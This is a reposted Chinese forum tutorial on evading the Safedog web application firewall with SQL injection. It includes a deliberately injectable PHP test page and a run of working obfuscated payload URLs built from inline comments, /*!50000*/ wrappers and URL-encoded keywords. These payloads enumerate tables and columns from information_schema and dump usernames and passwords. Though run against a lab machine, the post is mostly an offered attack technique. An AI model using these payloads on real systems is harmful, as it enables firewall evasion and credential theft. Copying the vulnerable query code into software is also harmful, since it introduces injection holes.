Bypass_safedog_Sql注入

来源:互联网 发布:网络社区营销什么意思 编辑:程序博客网 时间:2024/05/17 02:42

  源地址:https://bbs.ichunqiu.com/thread-26843-1-1.html


2017/09/03_Bypass_safedog_Sql注入                                                          


   作者:Szrzvdny(墨大牛)----偶代发!



prat 1                                                              
           本文大致内容
+ 思路以及想法
        - 四重注释绕过safedog
+ 实战绕过
        - 绕过and 1=1
        - 绕过union+select
        - 爆表
        - 爆字段
        - 读内容


prat 2
测试代码:
[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
<?php
$link= mysqli_connect('localhost','root','root','security');
$sql= "select * from users where id=".$_GET['id'];
$result= mysqli_query($link,$sql);
if($rows= mysqli_fetch_array($result)){
echo$rows['id'];
echo'<br>';
echo$rows['username'];
echo'<br>';
echo$rows['password'];
echo'<br>';
}
mysqli_close($link);
?>
prat 3
绕过 and 1=1
Url:url:http://192.168.1.107/sql.php?id=1 and 1=1
发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。
and         不拦截
and 1        拦截
and 1 =                   拦截
and 1 = 1     拦截
由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看
/**/aNd/**//**/'a'/**/ = /**/'a'/**/
注释包含把1=1替换成‘a’ = ‘a’就得到了url:
http://192.168.1.107/sql.php?id=1/**/aNd/**//**/'a'/**/=/**/'b'/**/
重点:返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性
Order by
我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。
字段为3,接下来爆库,当前用户。
绕过union+select
url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3
同样,先看一下他拦截什么。
union 不拦截
select 不拦截
union select 拦截
很明显,我们只需要在union与select之间处理一下就可以了。
首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了
url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -
可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图
拆分一下就发现其实很好理解,使用()把select的内容包起来


爆库
http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -
发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。
user(),database()之间处理以下。
那么就成为了
user/**/(/**/)
database/**/(/**/)
完整url:
http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/-- -
正常爆出数据库跟当前用户
爆表
发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -
得到Table
emails
referers
uagents
Users
爆字段
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -
得到column
id
username
Password
读内容
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1-- -
Dump
       
Dumb#Dumb